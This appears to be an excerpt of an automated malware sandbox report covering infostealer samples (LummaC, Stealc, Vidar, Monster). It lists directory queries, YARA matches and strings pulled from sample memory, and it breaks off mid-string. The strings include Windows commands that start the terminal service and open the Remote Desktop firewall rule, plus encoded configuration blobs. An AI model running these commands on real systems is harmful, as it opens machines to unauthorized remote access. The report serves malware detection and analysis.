Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe

Directory queried: number of queries: 1001

Source: Yara match	File source: 00000020.00000003.3888248745.0000000001002000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.3888705845.0000000001002000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.3891018668.0000000001002000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3298927508.0000000000F5E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3298927508.0000000000FBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.3744137456.00007FF68C28F000.00000002.00000001.01000000.00000016.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000000.3487646263.00007FF68C28F000.00000002.00000001.01000000.00000016.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: stealc_default2.exe PID: 5012, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: legs.exe PID: 7556, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: v_dolg.exe PID: 7976, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: roblox.exe PID: 6540, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: stub.exe PID: 7288, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe, type: DROPPED

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: legs.exe PID: 7556, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: v_dolg.exe PID: 7976, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Monster Stealer

Source: Yara match	File source: 00000023.00000002.3744137456.00007FF68C28F000.00000002.00000001.01000000.00000016.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000000.3487646263.00007FF68C28F000.00000002.00000001.01000000.00000016.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: roblox.exe PID: 6540, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe, type: DROPPED

Yara detected Stealc

Source: Yara match	File source: 20.2.stealc_default2.exe.630000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.0.stealc_default2.exe.630000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000014.00000000.2955827551.000000000064E000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000000.2955786116.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3298927508.0000000000F5E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: stealc_default2.exe PID: 5012, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\stealc_default2[1].exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: stealc_default2.exe PID: 5012, type: MEMORYSTR

Contains functionality to start a terminal service

Source: AllNew.exe, 00000018.00000002.3055652084.00000000007E1000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: net start termservice
Source: AllNew.exe, 00000018.00000002.3055652084.00000000007E1000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit setd122f964d1224a00cff1eef50e53e28607c6bc37dc50874878dcb010336ed9061b6eb278ac18116a6aa0b8e6b8858603044624PJ8SQhDqQIVoFTBjOE3=OQIcgR9kYxLm4WU 12lkgKmqQIVnSy==XoRcgFPmMISjiO==OIMjiO==P E9RBbYPcMdHA==UT9RiVQmOcMVSQ==XQ0x0D9uXaM4MWa9erdpf64UMJ8hfdOqgTE4V1QrfcMl7FOaesSff6 7JrPmXT2e2G==XQ0x0D9uXaM4MWa9erdpf64UMJ8hfdOqgTE4V1QrfcMl7FOaesSff6 7G1bofx6t2NA40VIef9sK4GKhdHGwf6CeO1DrXTI9hlMUfq==XcMk1SSbNA4wLvAEKEaHKHdpP7JaXQ0x0D9uXaM4MWa9erdpf64UMJ8hfdOqgTE4V1QrfcMl7FOaesSff6 7JrPmfdMl4EslPpz8XxAm41EaeND=XQ0x0D9uXaM4MWa9erdpf64UMJ8hfdOqgTE4V1QrfcMl7FOaesSff6 7G1bofx6t2NA4Z0ceewn8KmYh1L0ogA==MLMKWTEJXa0xLUmuLV==0uwnhy==Xu0K0y==UQMLdMHXgdDXfSHXeTDX1cbX1NzXfwDXgMVX2wRX1NPXexPXeS4Xf R=1TAc4A0dewoZR2meeH afKC21TAc4A0dewn=1SoghA0dewn=2tv=2Jv=2Jz=2JD=WMwgge==dxIRhBjoOm==dxIRhFHZOoZ=2N9c2woj1SSbfxDoeNEghccnOTwSfUQTSwD+SwH+ORsjiU9iedDmNojiLm==iq==MdMlfVL2SG==fS9cgErsP9Wb5Gl=dSMpgkQlPpzlSGmhUSMRYkATdNQcN3aofL0jW0 g1A==XxAm41EaeKI97Gu2TLQsZZL XS0d7H37erZ=TNQghkz=VSwqhEQrfSkWBEm70l==ULEw0y==Xwwl4Ez XSMa7XyefMp=Uw0aiE4rLv5cRg==TLQyPpPn0E4T1MoKSWCQerqQiU==TccR4EQf2MWbSXx=Wc0piE4nXS0nfE4sTS0kg0MoYSclWEQf2MWbSXx=PtvpRxLUQ 4VHQ==fcz=gSz=TS0liEQngsSL8XqaQnGjh0CU01v geNq2c0pgQWd1NI9Hyq8d80k3KKs4XUlPJXoOIRkQQVmGGgug00T2MWREUGee8Glg6qU003mS yheTAkQUMagwvYBGU7d1ZZMqWb3KyaSpyhdMocgkAm2JR L7RBV04ngwMl7CQJg2GbSmGb2LvkeNKcgwcmgg4o1TIc7CQofMOb205HrkUCGGfkQQVmOIR=OIREHe==STEahhVqOcgn4u==TS0liEQngsSL8XqaQnG8gLGm00H hxiqe90VQV9WgoSd53yiN20ofK0oN63c3NN=XRcK0CQG0uES6nyadsWtf6 U2q3kYTSV0uEmglMreSo4J2YieM0Q31OIN0Vd1vKqeNsSiEQrWcwkSQ==TS0khFQT2NAFRWQa1MAa4EQf2S9g4mihd1 lgLKs27LTheaZhNfnRRDsQtLTGz6UN0c=ONMlfUIo2wLkXRcK0CQG0uES6nyadsWtf6 U2q3kYTSV0uEmglMreSo4OWUefL0aZqqeO035UR6JYvAGYDsPVKIwM1l=XRcK0CQG0uEm5nGnd7CJ31VqBHz5YTStgcca4VI6Tcwq4WCtc2SmfKKZMJTh3xSqYccb4U4CUq==0trnRBv=UwMd3VQlgvEc7HGedripPpmMO1HnfySVdM0lUwMd3VQlgvEc7HGedripPpqMO1HnfySVdM0lXQ0x0D9uXaM4MWa9erdpf64UMJ8hfdOqgTD8YjM6TTMp6mKjfK4bgrSj16Y=XxAm4FQcguW95WJ=P roTO==P rpRe==P roSe==P rpSO==TTMphkQnguAS4Wm 0q==R fXfdMl4EslPpzlSX7aOSj8LdI9h0okdMojBCYbKHdffWFcL9rdOgwTdMSc53KPKIJ7Nm3aOKPkMr==M9P8WVcigsz=L9rdOgwr2MV8LsPdNy==Xw0U4VEsdwMj5CUagLZ=OMMV4UIUgwcm5nqkdLq iWGsO0VnhxSudM5l4UL OKQg5GJ6Kl==L7==fS9SiEMogSV8EXB6N2V7QE==fTH0hu==fcwl4E4mVSMW3k4afcH8MGuUd80Q1JGsO0rn2NN=PtrnRBvTPJb=PtrnRBvTP z=PtrnRBvTP D=PtrnRBvTPSP=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Source: AllNew.exe, 00000018.00000000.3046659516.00000000007E1000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: net start termservice
Source: AllNew.exe, 00000018.00000000.3046659516.00000000007E1000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit setd122f964d1224a00cff1eef50e53e28607c6bc37dc50874878dcb010336ed9061b6eb278ac18116a6aa0b8e6b8858603044624PJ8SQhDqQIVoFTBjOE3=OQIcgR9kYxLm4WU 12lkgKmqQIVnSy==XoRcgFPmMISjiO==OIMjiO==P E9RBbYPcMdHA==UT9RiVQmOcMVSQ==XQ0x0D9uXaM4MWa9erdpf64UMJ8hfdOqgTE4V1QrfcMl7FOaesSff6 7JrPmXT2e2G==XQ0x0D9uXaM4MWa9erdpf64UMJ8hfdOqgTE4V1QrfcMl7FOaesSff6 7G1bofx6t2NA40VIef9sK4GKhdHGwf6CeO1DrXTI9hlMUfq==XcMk1SSbNA4wLvAEKEaHKHdpP7JaXQ0x0D9uXaM4MWa9erdpf64UMJ8hfdOqgTE4V1QrfcMl7FOaesSff6 7JrPmfdMl4EslPpz8XxAm41EaeND=XQ0x0D9uXaM4MWa9erdpf64UMJ8hfdOqgTE4V1QrfcMl7FOaesSff6 7G1bofx6t2NA4Z0ceewn8KmYh1L0ogA==MLMKWTEJXa0xLUmuLV==0uwnhy==Xu0K0y==UQMLdMHXgdDXfSHXeTDX1cbX1NzXfwDXgMVX2wRX1NPXexPXeS4Xf R=1TAc4A0dewoZR2meeH afKC21TAc4A0dewn=1SoghA0dewn=2tv=2Jv=2Jz=2JD=WMwgge==dxIRhBjoOm==dxIRhFHZOoZ=2N9c2woj1SSbfxDoeNEghccnOTwSfUQTSwD+SwH+ORsjiU9iedDmNojiLm==iq==MdMlfVL2SG==fS9cgErsP9Wb5Gl=dSMpgkQlPpzlSGmhUSMRYkATdNQcN3aofL0jW0 g1A==XxAm41EaeKI97Gu2TLQsZZL XS0d7H37erZ=TNQghkz=VSwqhEQrfSkWBEm70l==ULEw0y==Xwwl4Ez XSMa7XyefMp=Uw0aiE4rLv5cRg==TLQyPpPn0E4T1MoKSWCQerqQiU==TccR4EQf2MWbSXx=Wc0piE4nXS0nfE4sTS0kg0MoYSclWEQf2MWbSXx=PtvpRxLUQ 4VHQ==fcz=gSz=TS0liEQngsSL8XqaQnGjh0CU01v geNq2c0pgQWd1NI9Hyq8d80k3KKs4XUlPJXoOIRkQQVmGGgug00T2MWREUGee8Glg6qU003mS yheTAkQUMagwvYBGU7d1ZZMqWb3KyaSpyhdMocgkAm2JR L7RBV04ngwMl7CQJg2GbSmGb2LvkeNKcgwcmgg4o1TIc7CQofMOb205HrkUCGGfkQQVmOIR=OIREHe==STEahhVqOcgn4u==TS0liEQngsSL8XqaQnG8gLGm00H hxiqe90VQV9WgoSd53yiN20ofK0oN63c3NN=XRcK0CQG0uES6nyadsWtf6 U2q3kYTSV0uEmglMreSo4J2YieM0Q31OIN0Vd1vKqeNsSiEQrWcwkSQ==TS0khFQT2NAFRWQa1MAa4EQf2S9g4mihd1 lgLKs27LTheaZhNfnRRDsQtLTGz6UN0c=ONMlfUIo2wLkXRcK0CQG0uES6nyadsWtf6 U2q3kYTSV0uEmglMreSo4OWUefL0aZqqeO035UR6JYvAGYDsPVKIwM1l=XRcK0CQG0uEm5nGnd7CJ31VqBHz5YTStgcca4VI6Tcwq4WCtc2SmfKKZMJTh3xSqYccb4U4CUq==0trnRBv=UwMd3VQlgvEc7HGedripPpmMO1HnfySVdM0lUwMd3VQlgvEc7HGedripPpqMO1HnfySVdM0lXQ0x0D9uXaM4MWa9erdpf64UMJ8hfdOqgTD8YjM6TTMp6mKjfK4bgrSj16Y=XxAm4FQcguW95WJ=P roTO==P rpRe==P roSe==P rpSO==TTMphkQnguAS4Wm 0q==R fXfdMl4EslPpzlSX7aOSj8LdI9h0okdMojBCYbKHdffWFcL9rdOgwTdMSc53KPKIJ7Nm3aOKPkMr==M9P8WVcigsz=L9rdOgwr2MV8LsPdNy==Xw0U4VEsdwMj5CUagLZ=OMMV4UIUgwcm5nqkdLq iWGsO0VnhxSudM5l4UL OKQg5GJ6Kl==L7==fS9SiEMogSV8EXB6N2V7QE==fTH0hu==fcwl4E4mVSMW3k4afcH8MGuUd80Q1JGsO0rn2NN=PtrnRBvTPJb=PtrnRBvTP z=PtrnRBvTP D=PtrnRBvTPSP=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Source: AllNew.exe, 00000018.00000003.3051461353.0000000004941000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: net start termservice
Source: AllNew.exe, 00000018.00000003.3051461353.0000000004941000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit setd122f964d1224a00cff1eef50e53e28607c6bc37dc50874878dcb010336ed9061b6eb278ac18116a6aa0b8e6b8858603044624PJ8SQhDqQIVoFTBjOE3=OQIcgR9kYxLm4WU 12lkgKmqQIVnSy==XoRcgFPmMISjiO==OIMjiO==P E9RBbYPcMdHA==UT9RiVQmOcMVSQ==XQ0x0D9uXaM4MWa9erdpf64UMJ8hfdOqgTE4V1QrfcMl7FOaesSff6 7JrPmXT2e2G==XQ0x0D9uXaM4MWa9erdpf64UMJ8hfdOqgTE4V1QrfcMl7FOaesSff6 7G1bofx6t2NA40VIef9sK4GKhdHGwf6CeO1DrXTI9hlMUfq==XcMk1SSbNA4wLvAEKEaHKHdpP7JaXQ0x0D9uXaM4MWa9erdpf64UMJ8hfdOqgTE4V1QrfcMl7FOaesSff6 7JrPmfdMl4EslPpz8XxAm41EaeND=XQ0x0D9uXaM4MWa9erdpf64UMJ8hfdOqgTE4V1QrfcMl7FOaesSff6 7G1bofx6t2NA4Z0ceewn8KmYh1L0ogA==MLMKWTEJXa0xLUmuLV==0uwnhy==Xu0K0y==UQMLdMHXgdDXfSHXeTDX1cbX1NzXfwDXgMVX2wRX1NPXexPXeS4Xf R=1TAc4A0dewoZR2meeH afKC21TAc4A0dewn=1SoghA0dewn=2tv=2Jv=2Jz=2JD=WMwgge==dxIRhBjoOm==dxIRhFHZOoZ=2N9c2woj1SSbfxDoeNEghccnOTwSfUQTSwD+SwH+ORsjiU9iedDmNojiLm==iq==MdMlfVL2SG==fS9cgErsP9Wb5Gl=dSMpgkQlPpzlSGmhUSMRYkATdNQcN3aofL0jW0 g1A==XxAm41EaeKI97Gu2TLQsZZL XS0d7H37erZ=TNQghkz=VSwqhEQrfSkWBEm70l==ULEw0y==Xwwl4Ez XSMa7XyefMp=Uw0aiE4rLv5cRg==TLQyPpPn0E4T1MoKSWCQerqQiU==TccR4EQf2MWbSXx=Wc0piE4nXS0nfE4sTS0kg0MoYSclWEQf2MWbSXx=PtvpRxLUQ 4VHQ==fcz=gSz=TS0liEQngsSL8XqaQnGjh0CU01v geNq2c0pgQWd1NI9Hyq8d80k3KKs4XUlPJXoOIRkQQVmGGgug00T2MWREUGee8Glg6qU003mS yheTAkQUMagwvYBGU7d1ZZMqWb3KyaSpyhdMocgkAm2JR L7RBV04ngwMl7CQJg2GbSmGb2LvkeNKcgwcmgg4o1TIc7CQofMOb205HrkUCGGfkQQVmOIR=OIREHe==STEahhVqOcgn4u==TS0liEQngsSL8XqaQnG8gLGm00H hxiqe90VQV9WgoSd53yiN20ofK0oN63c3NN=XRcK0CQG0uES6nyadsWtf6 U2q3kYTSV0uEmglMreSo4J2YieM0Q31OIN0Vd1vKqeNsSiEQrWcwkSQ==TS0khFQT2NAFRWQa1MAa4EQf2S9g4mihd1 lgLKs27LTheaZhNfnRRDsQtLTGz6UN0c=ONMlfUIo2wLkXRcK0CQG0uES6nyadsWtf6 U2q3kYTSV0uEmglMreSo4OWUefL0aZqqeO035UR6JYvAGYDsPVKIwM1l=XRcK0CQG0uEm5nGnd7CJ31VqBHz5YTStgcca4VI6Tcwq4WCtc2SmfKKZMJTh3xSqYccb4U4CUq==0trnRBv=UwMd3VQlgvEc7HGedripPpmMO1HnfySVdM0lUwMd3VQlgvEc7HGedripPpqMO1HnfySVdM0lXQ0x0D9uXaM4MWa9erdpf64UMJ8hfdOqgTD8YjM6TTMp6mKjfK4bgrSj16Y=XxAm4FQcguW95WJ=P roTO==P rpRe==P roSe==P rpSO==TTMphkQnguAS4Wm 0q==R fXfdMl4EslPpzlSX7aOSj8LdI9h0okdMojBCYbKHdffWFcL9rdOgwTdMSc53KPKIJ7Nm3aOKPkMr==M9P8WVcigsz=L9rdOgwr2MV8LsPdNy==Xw0U4VEsdwMj5CUagLZ=OMMV4UIUgwcm5nqkdLq iWGsO0VnhxSudM5l4UL OKQg5GJ6Kl==L7==fS9SiEMogSV8EXB6N2V7QE==fTH0hu==fcwl4E4mVSMW3k4afcH8MGuUd80Q1JGsO0rn2NN=PtrnRBvTPJb=PtrnRBvTP z=PtrnRBvTP D=PtrnRBvTPSP=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Source: Gxtuum.exe, 00000019.00000000.3054606594.0000000000D11000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: net start termservice
Source: Gxtuum.exe, 00000019.00000000.3054606594.0000000000D11000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit setd122f964d1224a00cff1eef50e53e28607c6bc37dc50874878dcb010336ed9061b6eb278ac18116a6aa0b8e6b8858603044624PJ8SQhDqQIVoFTBjOE3=OQIcgR9kYxLm4WU 12lkgKmqQIVnSy==XoRcgFPmMISjiO==OIMjiO==P E9RBbYPcMdHA==UT9RiVQmOcMVSQ==XQ0x0D9uXaM4MWa9erdpf64UMJ8hfdOqgTE4V1QrfcMl7FOaesSff6 7JrPmXT2e2G==XQ0x0D9uXaM4MWa9erdpf64UMJ8hfdOqgTE4V1QrfcMl7FOaesSff6 7G1bofx6t2NA40VIef9sK4GKhdHGwf6CeO1DrXTI9hlMUfq==XcMk1SSbNA4wLvAEKEaHKHdpP7JaXQ0x0D9uXaM4MWa9erdpf64UMJ8hfdOqgTE4V1QrfcMl7FOaesSff6 7JrPmfdMl4EslPpz8XxAm41EaeND=XQ0x0D9uXaM4MWa9erdpf64UMJ8hfdOqgTE4V1QrfcMl7FOaesSff6 7G1bofx6t2NA4Z0ceewn8KmYh1L0ogA==MLMKWTEJXa0xLUmuLV==0uwnhy==Xu0K0y==UQMLdMHXgdDXfSHXeTDX1cbX1NzXfwDXgMVX2wRX1NPXexPXeS4Xf R=1TAc4A0dewoZR2meeH afKC21TAc4A0dewn=1SoghA0dewn=2tv=2Jv=2Jz=2JD=WMwgge==dxIRhBjoOm==dxIRhFHZOoZ=2N9c2woj1SSbfxDoeNEghccnOTwSfUQTSwD+SwH+ORsjiU9iedDmNojiLm==iq==MdMlfVL2SG==fS9cgErsP9Wb5Gl=dSMpgkQlPpzlSGmhUSMRYkATdNQcN3aofL0jW0 g1A==XxAm41EaeKI97Gu2TLQsZZL XS0d7H37erZ=TNQghkz=VSwqhEQrfSkWBEm70l==ULEw0y==Xwwl4Ez XSMa7XyefMp=Uw0aiE4rLv5cRg==TLQyPpPn0E4T1MoKSWCQerqQiU==TccR4EQf2MWbSXx=Wc0piE4nXS0nfE4sTS0kg0MoYSclWEQf2MWbSXx=PtvpRxLUQ 4VHQ==fcz=gSz=TS0liEQngsSL8XqaQnGjh0CU01v geNq2c0pgQWd1NI9Hyq8d80k3KKs4XUlPJXoOIRkQQVmGGgug00T2MWREUGee8Glg6qU003mS yheTAkQUMagwvYBGU7d1ZZMqWb3KyaSpyhdMocgkAm2JR L7RBV04ngwMl7CQJg2GbSmGb2LvkeNKcgwcmgg4o1TIc7CQofMOb205HrkUCGGfkQQVmOIR=OIREHe==STEahhVqOcgn4u==TS0liEQngsSL8XqaQnG8gLGm00H hxiqe90VQV9WgoSd53yiN20ofK0oN63c3NN=XRcK0CQG0uES6nyadsWtf6 U2q3kYTSV0uEmglMreSo4J2YieM0Q31OIN0Vd1vKqeNsSiEQrWcwkSQ==TS0khFQT2NAFRWQa1MAa4EQf2S9g4mihd1 lgLKs27LTheaZhNfnRRDsQtLTGz6UN0c=ONMlfUIo2wLkXRcK0CQG0uES6nyadsWtf6 